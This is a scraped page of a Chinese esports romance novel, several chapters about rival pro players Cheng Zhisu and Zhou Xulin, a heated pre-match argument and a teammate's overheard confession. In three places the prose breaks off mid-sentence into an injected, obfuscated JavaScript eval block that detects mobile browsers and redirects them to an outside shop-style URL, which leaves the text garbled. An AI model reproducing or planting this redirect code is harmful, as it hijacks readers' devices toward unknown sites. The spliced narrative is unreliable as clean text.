赛后采访,吴庸让经验丰富的队长晴朗和程知簌一块上去。 螃蟹脸上挂着得体的笑,随便问了几个常规问题。 随后,她话头一转—— “刚才下台的时候有没有看直播?弹幕都在说你是天赋怪哦,你自己是怎么认为的呢?” 程知簌不是毫无经验的新人,采访这种小事她早已经得心应手。 经过吴庸的提点,她这一次明显收敛不少:“这个世界上的天才多如牛毛,我不过是沧海一粟。” 还夹杂了点哲学道理,足够将她和其他人拉开距离了。 螃蟹又问,有什么比赛技巧? 程知簌抿唇,强压住快要溢出来的笑意,让腮帮子看起来是微微鼓起来的状态。 她的眼里闪过狡黠的光,酝酿着接下来要说的话。 周叙临将手机放在桌下,上身是正襟危坐的样子,眼睛却止不住地往下瞟。 看见程知簌熟悉的眼神,他知道她心里憋着坏主意了。 果然,她下一句就是—— “哪里亮了点哪里。” 周叙临被程知簌的话逗乐,无声地笑了笑。 屏幕上的镜头越拉越近,他几乎能看清她脸上的毛孔。 如果不是此时此刻周围还有个冰块只哇乱叫,他真能生出一种和程知簌面对面说话的感觉。 周叙临很快移开视线:“不愧是你。” …… 采访完毕,程知簌跟着队友坐大巴回基地。 大巴往前行驶了一段距离,她突然想起来的路上收了几个粉丝的小礼物。 因为很突然,所以她问工作人员要了个袋子装起来放在椅子旁边,走的时候忘记拿了。 大巴重新回到停车场,程知簌急匆匆下车,差点撞上人。 周叙临就站在她身后,手里拎着个袋子。 “找这个?”他将袋子往前伸了伸,明知故问。 “对。” 程知簌伸手去拿。 下一场就是TwJing的比赛,此时距离正式开赛不到半小时,如果不是为了把东西给她,程知簌想不出他有什么出来的理由。 而且她总觉得这人开挂了,一般大巴就停在距离后门的不远处,粉丝想接上下班也是在这个位置。 周叙临就算真来送东西也应该先去后门看看,而不是像幽灵一样悄无声息地出现在这里。 不过她没心思问这些,一心只想知道东西怎么样。 周叙临的手肘往后缩,袋子被身体挡住,程知簌的手就扑了个空。 她心想这人有病吧,拿了东西又不给人。 “你想干嘛?” “你说给你就给你?”周叙临垂眼看她,“我倒要看看,你什么时候才能发现自己落了东西。” 程知簌面无表情地看着他,过两秒后说:“那你现在可以给我了。” 周叙临没动。 他看了看程知簌的脸,又低头检查包包上的图案,动作慢吞吞的。 程知簌没催他,就那么等着,也没刚才那么着急了。 她急什么呢,不愿意给的人是周叙临。 队友就在两步路的大巴上,就算她不回头看都知道他们一定趴在窗边看戏,也怪不到她头上。 地下停车场的灯光很亮,充足的光线照在程知簌的脸上有种柔焦的质感。 这张脸周叙临从小看到大,从牙牙学语到风华正茂。 他看着程知簌这幅样子,突然觉得有点没意思。 即便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496343|202522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他前两次见面都那么不客气,她对他依旧是淡淡的样子。 就好像他这个人就没办法让她程知簌有什么情绪一样。 “给你。”周叙临把袋子递过去,一副云淡风轻的样子,“东西记得收好啊,我可不想每次都在你后面。” 程知簌点点头,说了句:“谢谢。” 周叙临顿时僵在原地,瞳孔紧缩,满眼是错愕和不可置信。 他就像一只被揪了胡须的小山羊,浑身的毛都竖了起来,向对方表示抗议。 “你说什么?” “谢谢啊。” 程知簌正低头检查袋子里的东西有没有遗漏,闻言一脸莫名其妙:“干嘛?” 她现在真是越来越觉得周叙临脑子进水了,这样子是怎么拿的冠军? “你居然对我说谢谢?”周叙临听感受到到自己的心脏在剧烈狂跳。 他很确定不是像电视剧演的什么一见钟情那样心脏砰砰跳,纯粹是被气的。 “你从来、从来没有对我说过谢谢。” 一开始周叙临以为自己听错了。 程知簌这个人从一直以来都是一个性格——小时候他帮她背黑锅,她说本来就是你干的;全国大赛他帮她打蓝,她说本来就应该是我的。 他们之间从来没有谢不谢的,这种事情就像呼吸一样简单,他也甘之如饴了这么多年。 可是今天,程知簌居然对他说了。 周叙临以为这是他们互相对彼此的依赖,可今天程知簌的这句话将他一直以来的想法彻底击碎。 一个荒唐的念头冒了出来: 她是不是真的、真的不需要他了? 周叙临忽然想到了在马来西亚的那个晚上。 他刚将她放到床上,程知簌就睁开了眼,迷迷糊糊说了句好臭,呕了一下。 但她也没真吐,揉揉眼睛,抓抓刘海。 腮帮子鼓着的样子,真像给自己顺毛的小熊。 他低头看了看自己,身上粘了酒,手臂有几道小伤口,还因为着急出了些汗,难怪程知簌会觉得不好闻。 照顾一个醉酒的人需要的力气不小。 等周叙临从浴室里出来,程知簌已经挣脱被子的束缚放飞自我了。 她站在床上,一只手叉腰一只手指天,嘴里叽里呱啦曲不成调的。 那样子,真像要弃竞从乐。 周叙临好说歹说才把程知簌劝下来。 她老老实实地盘腿坐在床上,和周叙临面对面。 眼睛看着还是像蕴了水雾一样朦朦胧胧的,像个小傻子,“咯咯”笑了起来,又自言自语些听不清的。 “说的什么?听不懂。”周叙临点了点程知簌的脑瓜子。 力气不大,但她就是东倒西歪了两下,看来是真醉了。 “周、叙、临。”程知簌就字正腔圆了这一下。 她又嘟囔了两声,下一刻就直直地亲了上来。 他正垂眼思考要不要帮她把妆卸了,根本没注意她的动作。 唇上温热的触感比意识先连接神经。 周叙临抿了抿唇,感觉上面还有余温,看向程知簌的时候莫名多了些不自然。 “算、算了。”他说话的时候还有些结巴,“我这次就原谅你了,下不为例。” 程知簌:? 她做了什么要被原谅? 11. 恶劣 11 程知簌自知脾气向来不好。 只是这一年人在国外不得不低头,才略微收敛了一些。 此时此刻面对周叙临,她一肚子的火是真的憋不住了。 她检查东西的动作顿住,干脆也不看了,将袋子往手臂一挎,抬头瞪着周叙临。 “我做了什么?”她反问,“我需要被你原谅什么?” 她抱臂冷言,也不顾自己还在公共场合:“上次那一巴掌还没让你得到教训?” 周叙临没说话。 他还在看她,眼神里有种说不清道不明的感觉,像被人兜头浇了一盆凉水还没缓过劲来,但耳朵又是红的。 程知簌抿唇,想吐槽他这家伙脸皮是真厚红不起来就红耳朵。 但很快她的记忆就很自然主动地向她传输上一次看见周叙临耳朵红是什么时候。 她瞬间收了咄咄逼人的表情,眼神从他的唇移到左脸,又理直气壮了起来。 是她主动的没错,那他也不吃亏啊,她有什么好心虚的? 反倒是周叙临,昨天才在直播说要和她“不共戴天”,今天就跑过来非要叽叽歪歪些她听不懂的话。 她不爽才对吧! 周叙临张了张嘴,想说点什么,又觉得此时此地不太合适,说什么都好像不太对。 他总不能说——你是不是忘了你那天亲了我?你还和我说“谢谢”,你是不是也把我忘了? 但这些话他说不出口。 此刻的他就像想要博关注的小孩,别扭的表情早就挂在脸上了,嘴巴还是比什么都硬。 “算了。”周叙临别过脸,“当我放屁。” 程知簌最讨厌话说一半咽一半的人,跟挤牙膏剩一点点就是弄不出来一样讨厌。 明明以前周叙临不是这样的,想说什么就说什么,虽然还因为多次嘴贱被她揍过好几次,两人在打闹间也能对外称彼此是朋友。 “你是真有毛病啊。”程知簌的耐心彻底告罄。 这些话已经在她心里翻来覆去了好几天,如今她真是不吐不快。 “刚才不是挺能说的?现在又在这装哑巴?我就不明白了,事是你做的,话是你挑起来的,我本来不想理你,也是你说的我们不熟。现在我问了,你又在这支支吾吾的,溜我玩呢?” 他们俩就站在大巴旁,玻璃窗也不隔音,是以,他们的话都被大巴上的人听得一清二楚。 晴朗被莫名戳中笑点,最先忍不住,“噗嗤”笑出声来。 “闭嘴!”低压气氛被破坏,程知簌扭头瞪他一眼,扯着周叙临往外走出点距离。 听她提起自己牛头不对马嘴的行为,周叙临罕见地露出被噎住的表情,也顺着她的动作跟着走。 程知簌不是他肚子里的蛔虫,凭肉眼看不出他的想法。 “而且。”她站定回头,“马上就要比赛了,你居然还跑出来?你明明可以拜托工作人员转交,又或者是和我联系等如果你赶不上怎么办?” “怎么?怕自己32强马上滚回广州见不到我?” 她也不知道自己是怎么了,越说嘴越不经过大脑。 这种重话的程度不比那天周叙临对她说的话轻多少,但她还是说了。 算了,程知簌想,这句话说完,他们俩就扯平了。 周叙临这下子急了:“我怎么可能32强?你别乱说。” “哟,现在不装哑巴了?”程知簌语气嘲弄。 她本来还想嘴贱再多说一句,但看见周叙临那样子真像要被急哭了,又将到喉咙的话咽回去。 “那行,不谈这个,照顾照顾你脆弱的小心脏。我就问你,你万一赶不上怎么办?” “半小时肯定来得及。” “你怎么保证?你拿什么保证?” 程知簌看着周叙临越来越难看的脸色,心里有种说不清道不明的畅快:“周叙临,你知道我最讨厌你什么吗?” “自大、自傲、自以为是!” “我——”周叙临想说他没有,但是看见程知簌笃定的表情,他又有点怀疑自己。 他入行就是冠军,所有人都给他贴上了天赋怪的标签,所有人都知道他是队伍的核心。 最初的他与战队的确有分歧,但很快他就用实力证明了自己才是对的。 渐渐地,TwJing固定住了自己四保一的战术,战队似乎成为了周叙临的一言堂。 只要他是首发,这个战术就不会改变。 可是今天,程知簌说,她讨厌的就是他的自大。 她的那些话,从来都没有人和他讲过。 …… 程知簌越说越激动:“我告诉你,从你成为一名职业选手开始,你就不单单是一个人。你在内,是队伍的c位;你在外,是队伍的形象。” “你现在跑来这里,严重来说,是在拿着全队的未来赌!因为第一轮是单败淘汰,输一|大场就得滚回家,你们没有容错!” “哪有那么严重,我只是送东西而已……” “看吧,你还是只知道嘴硬。我明白,你心里是看不上我的,你觉得我是因为赢了比赛所以才敢对春赛的冠军战队选手指指点点。” “……我没有这意思。” 向来在队伍里作天作地的周叙临此刻没了理直气壮。 程知簌没理他:“你说你只是送东西,却在这里磨蹭了半天都不肯回去。周叙临,你还知不知道你今天来这里是为了什么?” “我……” “是为了比赛,是为了拿下冠军!”程知簌替他说完,“你知道你今天的地位是怎么来的吗?你知道自己为什么会拿这么多冠军吗?你知道为什么会有这么多人喜欢你吗?你知道我有多——” 在这里卡住有种欲盖弥彰的感觉,但程知簌还是决定把话说完“——多羡慕你吗?” 程知簌清亮的眼睛蒙上一层潮气,那是惊涛骇浪掀起时的反应。 她看着周叙临的眼睛,褐色的瞳孔微微颤动,在光线充足的地下室内显现出一种茫然感。 他的人生太顺了,顺得让他这个人在面对事情的时候有一种残忍的天真感。 有那么一瞬间,她为之所动。 她想死死抿上嘴,不泄露一丝声音。 可她做不到。 她面前的人可是周叙临啊。 所以,她怀揣着破罐子破摔的决心。 “如果你不明白,那我敢肯定,你不是一位合格的职业选手。” 程知簌眼睁睁看着周叙临的眼神变得惊愕,脸色瞬间惨白异常,心底有种说不出的畅快。 她很恶劣地想,难过吧、失望吧,她那天也一样,他怎么还好意思装出一副什么都没发生过的样子呢? 明明她觉得自己出国这段时间长进了不少,现在最重要的是比赛,其他什么事情都能忍则忍,能放下就放下。 可偏偏周叙临一次又一次出现在她的面前,将她的世界搅得天翻地覆。 事不过三,程知簌心想。 他让她受到过的伤害,他不尝尝是没道理的。 …… 程知簌有心再刺周叙临一句,可惜TwJing的经理邱天风风火火地赶来了。 他一来就没什么好脸色,扯着失魂落魄的周叙临一个劲的问。 当然是问不出什么的,所以他将恶狠狠地瞪了程知簌一眼,转身拉着周叙临要走。 程知簌被这一眼看得莫名其妙:“瞪我|干嘛?又不是我让他成这样的?” 她得他像那种东亚家庭里无理取闹的家长,自己的小孩一哭,就认为是被别人欺负了。 她确实是在错误的时间错误的地点说了错误的话,但她又不是故意的,还杀敌一百自损八千。 周叙临这家伙总算还有点良心,很快说跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496344|202522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凛冬没关系,是他自己的问题。 程知簌心里虽然有一秒钟后悔自己在比赛前十几分钟对一位职业选手说了很重的话,但她想也正因为是职业选手,她认为周叙临不会因为这些话影响到自己的操作。 …… 但程知簌明显把周叙临想得太厉害了。 有的话说出口简单,可对方不一定可以接受。 就像网络上多少人说只要有钱被开户到秦朝都愿意,但真正到自己身上了,一句恶言就能让其辗转反侧。 十点开场的比赛打到了巅峰对决,把把都是二十分钟起步。 凌晨一点半,TwJing才以4:5的成绩进入十六强。 此时的West战队已做好复盘回到英雄联盟分部在北京的基地。 下一轮比赛在六天后,教练也没有要求加练,训练结束后各选手也陆陆续续回房休息。 英雄联盟分部的住宿条件比王者荣耀分部的要好得多,程知簌也得到了一个带独卫的单人房间,不是什么地下室改造的。 她虽然很想享受享受房间内的大床,但比赛日期近在眼前,她还是强打着精神去茶水间做了杯咖啡。 回到座位将杯子轻轻放下,旁边的逢春刚结束单排。 他瞥一眼,说道:“那么晚还喝咖啡,小心待会睡——” 他的话没说完,眼睁睁看着程知簌将咖啡一饮而尽。 “……当我没说。” “什么?”咖啡有些烫,程知簌喝的时候很小心,没注意逢春说了什么。 “没事,要不要双排?”逢春自然地转了个话题,向程知簌发起双排邀请。 逢春邀请过她好几次了,又是同队队友,程知簌爽快答应:“行,我洗个杯子。” 两个C位的上分之路注定坎坷,即便他们是职业选手也顶不住。 一小时后,他们俩虽然上了三颗星,但也是因为拿的金牌多积分上去的。 排位赛按星数分等级,积分满百可加一星。 若局内表现优异拿铜牌以上牌子则有额外加分。 程知簌扯了扯嘴角,看着两人满屏的金牌与顶级,一时不知道该怪谁。 “该死的匹配机制。” 反正骂机制是没错的。 逢春没接话,低着头在手机上敲敲打打,不知道在想什么。 训练室自双排前就只有他们两个人,又同时戴了耳机,没人说话的时候额外安静。 安静之余还有些尴尬,谁叫程知簌加入战队不满一月呢。 经过周叙临的事件后,程知簌格外不喜欢不接她话的人,也没了继续聊下去的心思。 她看眼时间,已经是凌晨两点半,再熬下去鸡都要叫了。 她随手收拾了桌面,起身关电脑要走。 “你生气了吗?”逢春冷不丁出声。 训练室就两人,程知簌没觉得他在和第三个人说话。 她想这家伙明明起了个万物复苏充满生命力的名字,怎么人总是阴阴沉沉的,丝毫不提这人比她还大两岁。 “怎么会?”程知簌扫一眼桌面,拿起杯子:“我只是要去洗杯子。” 刚来战队,还是要和队友打好关系的。 只是,不能向对周叙临那样随心所欲的确很憋屈。 逢春侧身看着她,没拆穿她心里的小心思。 他捏着手机两侧转,另一只手搭在椅子扶手上。 只不过转了两下就因为重心不稳掉到腿上,程知簌想肯定是因为他读书的时候太认真了。 哦,也可能是因为没读过很多书。 程知簌被自己的心思逗乐,想笑但又不好意思,就清咳了声。 逢春这时才开了金口:“降临赛后采访特意提到了你,主持人插几次话都没打断。” 他语气幽幽:“你说了什么让他改变对你的想法,怎么不用到我身上?” 12. 喜欢 12 程知簌后来想,如果事件能倒退回她刚入队那天,逢春和她说那么多话会让她觉得受宠若惊,又甚至认为他是不是被什么东西附身了。 但到了今天,她内心只剩下惊了。 “啊?”她下意识发出一声单音节。 “你对我很不上心啊。”逢春看着她,平静的目光如死水,仿佛什么生命在此停留能不能让其掀起一丝涟漪。 他怕她没听懂,又补上一句:“我希望你也能向对降临一样对我,很难理解吗?” 程知簌扯了扯嘴角,想甩给他一句“你什么身份啊和要和周叙临相提并论”,但她不能说。 是她说希望他离她远一点的,可不能第一天就破功。 而且……她总觉得最后这五个字很像挑衅,但前一句又透露着些许“暧昧”的味道。 摆着个臭脸说这样的话,真的很诡异啊! 一定是她熬夜熬出幻觉来了。 程知簌开始在心里碎碎念,自我洗脑,丝毫不提自己作为职业选手一两点还在峡谷畅游才是家常便饭。 她的手指已经不受控制地扣搓着外套下摆,棉质的布料已经被她揉出褶皱。 逢春将她的动作看在眼底,没觉得有什么好意外的,倒更有种慢条斯理地欣赏感。 “他是射手,我也是射手。”他语气平平,“我们有什么不一样吗?” 程知簌心里的小人已经在胸口挠了好几下。 这到底和射手有什么关系啊!他们是王者荣耀的职业选手,又不是穿进去成为里面的人物。 程知簌绞尽脑汁,企图从一堆乱麻中找出正确的那一根:“呃,首先,你们一个20一个19;其次,你们不在同一个俱乐部;最后你们性格和‘像’字完全不搭边。” 她觉得自己这么说挺有条理的:“所以,这些都没有可比性,你不用纠结其他的事情。” “可是……” “我和降临打职业前就认识了。”程知簌这下学会了抢答,“算是熟人。” 她止住逢春继续要说下去的话头,主动交代了,希望话题就此停住,对谁都好。 逢春若有所思。 程知簌刚想松口气,就听他又说:“可……是他说的和你不熟、不共戴天。” 程知簌的表情瞬间僵住。 周叙临这家伙真是搬起石头砸她的脚。 “还是说,他由恨生爱了?” 这都什么跟什么啊! 你一个职业选手,能不能少看点西红柿小说! 程知簌的嘴角抽了抽,只觉得和逢春聊天不比跟周叙临心累。 逢春前面那句话倒说得没错,也许这就是射手与射手之间的“默契”。 她立刻改口:“没有,什么都没有,你不要乱想。” 没人告诉她加入West还有哄人的工作啊。 逢春的一只手还是搭在扶手上,侧对着程知簌总给她一种是她向他认错的感觉,像被揪住了后勃颈的捣蛋猫。 “那你为什么还要区别对待?” 兜兜转转,话题又绕了回来简直跟盗梦空间一样。 程知簌还没搞清楚差别在哪,就见逢春将椅子转了过来。 他们两一个站着一个坐着,形成的高低差让她不坐也针毡。 此时此刻,她多么期盼经常偷摸回训练室吓他们的夏深能突然出现,她发誓再也不骂他犯贱了! 但理想是丰满的现实是骨感的,这个时间段的夏深恐怕早已进入了梦乡,她也只能靠想想望梅止渴。 训练室内的空调发出嗡嗡声,昂贵的耳机将游戏的声音收得很好,让程知簌只能听见自己“砰砰”的心跳声。 “我不知道你指的差别对待是什么,但是我和降临以前打过全国大赛,所以才……。” 程知簌想说“熟一点”,但这才被逢春否决。 她又想说“比别人多说几句话”,但这样不就显得她对逢春不上心吗? ——等等等,她怎么还被他带跑偏了,什么不上心,他们就是普通队友,用这个词也太奇怪了吧! 程知簌眼珠子转了转,目光停留在手中的杯子。 对啊,她怎么忘了这一茬。 “这次的咖啡豆是谁买的?我刚拆了包新的还挺好喝,我去做一杯给你尝尝呗。” 迂回方案行不通那就走贿赂战术。 程知簌以十八年和异性的相处方式打包票这一定可以,不管东西是谁的,是她做的就好了啊! 逢春淡淡瞥程知簌一眼,这才道:“你确定让我这个时候喝咖啡?” “对啊对啊,你相信我,我的拉花可是很有水平的。” 程知簌此时只想快点逃离这个地方顺带转移逢春的视线,没注意他举起手机晃了晃。 “行。”逢春点点头,一副通情达理的样子。 程知簌如获大赦,重重吐|出一口气,便逃也似地快步走,活像身后有凯爹追一样。 等她走到门口有要碰上把手时,身后传来逢春不紧不慢的声音:“对了,咖啡豆是我前段时间从德国买回来的。” 程知簌瞬间站定。 像是比赛途中被裁判按下暂停,手心的温度一寸寸变冷。 逢春都这么说了,那她还有什么做的必要吗? “你耍我呢?”程知簌语气不悦,一改刚才小心翼翼的姿态。 她三两步走回来,拉开凳子坐下,椅子腿部的滑轮在地上发出“咕噜”声响。 逢春不置可否,挑眉端正坐姿,像只明明抓到老鼠却不吃非要逗着玩的狸花猫。 “有没有人告诉你,你的演技很拙劣?” “有没有人告诉你,人家不想回答就得识相点换话题?” 程知簌学着他的语气呛回去。 她抱臂翘腿,摆出一副“你爱怎么着怎么着”的姿态,完全将酒巡苦口婆心对她说的“要和队友打好关系,尤其是他的前徒弟逢春”抛诸脑后。 什么队内和谐,去他的吧。 逢春顿了顿,像是没想到她会这么直接:“是这样么?你不想回我?” “我做得还不够明显吗?” 一天之内发生那么多事情,她真有够心累的! “好吧。”逢春语气恹恹,“看来我还是不讨人喜欢。” 程知簌不知道他的脑回路到底是怎么长的。 两者之间到底有什么关系? 甚至她开始怀疑自己是不是真的不适合来到这个俱乐部。 * 巅峰赛不能退出,能够复活的只有泉水和贤者的庇护。 如果程知簌可以明白这一点,那她早在逢春开口的时候就会装作没听见直接溜出去。 逢春调整了下坐姿,随口道:“可是我挺喜欢你的。” 他的语气依旧是不咸不淡,和他在赛场语音频道一模一样。 “什么?”程知簌以为自己听错了。 “我说。”逢春很有耐心地重复,“我喜欢你。” 程知簌不是没有听见第一句,她只是下意识反问,给逢春一个提醒。 没想到他就这样又说了一次。 迟来的回声终于穿过耳膜抵达大脑皮层,在内部弹来弹去。 不是、等等,她听到了什么? 她“噌”一下从座位弹射起来,整个人立在逢春面前,像是在看什么洪水猛兽。 还是promax版的。 逢春其实有些没看懂她的震惊从何而来。 他的意思很明显吧。 给她带她喜欢的咖啡,赛前帮她接温水,邀请她双排。 在逢春要开口再说一次的时候,程知簌打断了他的话。 “你知道自己在说什么吗?” “当然,我说……” “好的,你别说。”程知簌艰难地深呼吸,为自己接下来要说的话做准备。 “你——”她往前走一步,正要说什么,突然注意到逢春放在桌上的游戏手机。 手机屏幕亮着,游戏界面还没退,正处于组队页面,如果不是上面另外一个人的头像过于眼熟,她不会注意到。 “冰块为什么会在这?” 屏幕显示房间内有两人,左边是房主逢春,右边的玩家赫然是冰块。 他是程知簌这段时间唯一加过的好友,她当然不会记错他的头像。 没等程知簌得到逢春的回答,她的目光往下走,看见底部的小话筒显示开启的状态。 手机背后夹着的散热器发出嗡嗡声,像一个个蜜蜂从耳道钻进她的颅腔。 “你、你没关麦?” 逢春瞥一眼:“刚才在指挥队友,后来急着和你说话,忘关了。” 程知簌的大脑在这一刻疯狂运转。 逢春没关麦,冰块进了房间。 意思是,他们刚才说的那些话——什么“你对我很不上心”,什么“我希望你能像对降临一样对我”,什么“我喜欢你”,全都被手机另一头的人听到了? 程知簌感觉到额上有液体顺着脸颊滑落。 她用手擦了擦,发现是冷汗。 直到此刻,她才意识到逢春平静的声音有多让人汗毛直立。 “我还没打算睡觉,所以约了冰块双排。”逢春说,“我设置了亲密关系可随便进房,是他自己来的。” 这话说得, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508031|202522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像他自己有多无辜多干净,坏事都是别人做的。 程知簌的胸膛剧烈起伏,心跳快得她有些害怕。 她想质问逢春为什么要这么设置,突然发现自己似乎没有立场没有资格干涉队友的行为。 是了,她忘记了,冰块和逢春是青训时期的舍友,关系不错。 程知簌哑口无言。 犹豫了一瞬,她伸出手关掉了麦克风。 后知后觉的尴尬与羞|耻涌上来,随之铺天盖地的是浓浓的害怕。 因为今天比赛胜利暂时忽略的问题齐齐涌上来,将她浇得透心凉。 “今天的话不许告诉别人,不然我不会放过你!” 程知簌丢下一句软绵绵的威胁,扭头跑出了训练室。 这一次,逢春没有再叫住她。 * 英雄联盟分部的基地很宽敞,从训练室到房间有很长一段距离。 程知簌慌忙跑出去的时候路过了好几个训练室,里面的人听到动静往外看,有认出她的还挥了挥手。 但她没有心思理会他们。 她从没觉得这段距离有多漫长,长得她几乎感受不到奔跑带来的燥热,感受不到肾上腺素的激增。 额间的汗水——也许不止是汗水随风飘散,风又将北京夜晚冷冽的空气揉进程知簌的胸腔,凉得她直哆嗦。 不该是这样的。 她在心底喊出这句话。 程知簌凭借惯性摔门,等听到“嘭”地一声,被搅得七零八落的思绪才渐渐回神。 她沿着床边缓缓坐下,闻到熟悉的气味,绷紧的神经缓缓松开。 手机振了两下,程知簌从口袋里掏出来。 是周叙临的消息。 很短,就一行字【我去找你】 程知簌的眼泪终于从眼眶里砸下来,将她一直撑着的一口气砸散。 她哭的时候很安静,几乎连呼吸声都微不可闻。 但现在她真的恨死了安静。 程知簌的世界观以一种光怪陆离的方式崩塌,压|在身上喘不过气。 她捂住嘴,强迫自己将满腹的话压下去。 就当什么都没有发生过好了。 她不断说服自己。 手机屏幕亮了又熄灭,程知簌拿起来一看,周叙临说他已经到基地门口了,还因为她久久不回复打了个电话。 TwJing原基地的合同还没有到时间,所以他们挑杯期间还住在这里,距离West就半小时的路程。 程知簌瞥见右上角任务栏,距离周叙临发消息也才十五分钟。 此时的她没时间注意这种异常。 她吸了吸鼻子,尽量让自己的声音听起来正常。 但周叙临和她可是从出生就认识了,怎么会听不出她的语气呢。 不过他也没有拆穿,而是用自己毕生最温柔的语气说:“你下来帮我开个门呗,外面很冷。” 北京的春天反复无常,早上还是大太阳晒得人想打瞌睡,晚上就是狂风偶尔夹杂着细雨。 程知簌今天为了比赛画的妆因为这一下全花了,就算她不照镜子也知道一定丑得像阿古朵的伴生皮。 所以她是不可能让周叙临看见她这个样子的。 “你回去。” “不要。”周叙临突然开始耍赖,“我大老远跑过来,你就这么对我?” “你该。”程知簌语气坚决,“又不是我让你来的。” “是是是。”周叙临顺着台阶下,“我这不是担心你嘛。” “我有什么好担心的?不就是被表——”程知簌顿了顿。 意识到自己说了什么,她闭了闭眼在心里暗骂一句。 “我听到了。”周叙临毫不掩饰。 程知簌在周叙临发消息的那一刻就意识到了对面的人是他,只是出于不想再回忆一次,也没有问为什么明明是冰块的游戏账号却是他在用。 “所以呢?你喜欢他吗?” 似乎今天所有人都在问程知簌,都在向她要一个答案。 就好像明明她手里有,是她不愿意说而已。 可是她真的没有答案。 “肯定是不喜欢的。”周叙临自问自答,语气笃定。 “不然你不会接我的电话。” 程知簌问他:“为什么?” “因为……”周叙临想了想,说:“我了解你,他不是你喜欢的类型。” “你怎么知道。”程知簌的声音还有些闷,但到底不像刚才哭狠了的样子。 “直觉。”周叙临抬头看着三楼亮灯的窗户,“就是直觉。” “橙子,你不知道我有多了解你。” 13. 跟踪 13 空气停滞间,程知簌突然意识到周叙临说的很多话都具有滞后性。 在今天之前,她只以为他是个颇具神经质的谜语人,学了几句前言不搭后语的话就揣上了。 可是现在,这个她记忆里几乎从未他嘴里说出来的名字跨越千山万水向她奔来。 她此刻才明白,万事都是个轮回,需氧生物排出二氧化碳,厌氧生物排出氧气,受到潜移默化的人是她。 程知簌想起那晚,隔着绰绰约约的灯红酒绿,周叙临的声音比任何时候都清晰。 他掌心的温度穿透薄薄的队服一路上行,将她的思绪捏成奇形怪状。 她闭上眼,听见玻璃噼里啪啦砸在地上的声音,像泠泠雨,像冰晶雪,与她一同坠入世界的冬季。 降临,的确是降临。 程知簌感觉自己的呼吸都停止了,只隐约听见手机另一头的风声簌簌,似雪落,似冬降。 明明就要立夏,她却生出一种不合时宜的情感——吹起我吧,砸落我吧,让我的心若凛冬降临,将山川大地的肮脏恶臭掩盖。 “是吗?”程知簌嘴里的涎液好似也被风吹干,“我看不出来。” 她没否认周叙临对她的称呼。 周叙临想了想,靠在庭院前的信箱上。 在这个网络发达的时代,似乎这件东西最大的作用就是装饰,有一种另类的松弛感。 他说:“光看是没用的,得做。” 程知簌一时以为周叙临说需要做的人是她,对其的无赖程度更上一层楼表示“你做个人吧”。 她很快又意识到他这话也许指的是他自己。 “橙子,你赛前和我说的那些话我不是很懂。但当我坐在台上往下看的时候,我突然间觉得你说得很对。” “废话。”程知簌小声嘟囔了一句。 她不知道周叙临有没有听见,又或许是听见了但没有在意。 “在单败淘汰中连输两场,是我职业生涯少有的经历。但即便是队友和教练都意识到了我的问题,他们也、也没有指出来。就好像……好像我不是他们中的一员,就算游戏的输赢与我息息相关,他们也不会对我说一句重话。” 他抬头看天,见残星点点,光度微弱。 “我以前以为是自己实力太强,高处不胜寒才会这样。” 程知簌对他明明正做一副伤感姿态却又夸自己一句感到无语:“你太高看自己了,” 周叙临笑了笑:“你说得没错。” 程知簌觉得有些不对劲:“等等,你说你很了解我,怎么又开始说这些了?意思不就是你之前根本没认真听我说话吗?” “我了解你跟我了解你说的话不是同一个意思。” 程知簌对这种弯弯绕绕没什么耐心。 “有区别?” 周叙临认真想了想,轻轻“嗯”一声:“当然有,我很清楚你的想法,所以我在知道冰块没关麦提醒还没得到回应的时候就从基地赶过来了。” “哦……”程知簌仗着他看不见她的表情撇撇嘴,“你来干什么,难不成还能帮我灭口吗?” “灭口是做不到了,像你说的我还要成为一名合格的职业选手呢。” 周叙临顿了顿:“顶多在你想跑路的时候顺带把你拐过来。” 程知簌被他这个形容逗乐:“拐?你问过冰块的意见了吗?” 周叙临装傻:“冰块?谁啊,不认识。” 冰块要是听见这句话,不得急得从基地跳出来,将自家射手大卸八块,又恶狠狠来一句“以后我的中线你休想吃一口!”。 …… 当然他是不可能知道,最多眼巴巴在基地房间内等着看起来心情不错的周叙临。 “那个……”冰块急得搓手,眼底的八卦之光亮得晃眼睛。 周叙临看着他,只觉得举起的醐从头顶往下浇,身心通透清凉。 原来程知簌看他的心情与此时他看冰块的感受一模一样。 他感叹还是当傻子好啊,什么都不需要想,什么都不需要动脑,人家见了这样子都懒得花更多心思在“灭口”上。 “闭嘴。”他说,“烂在肚子里。” “我就想问——” “我说闭嘴。” 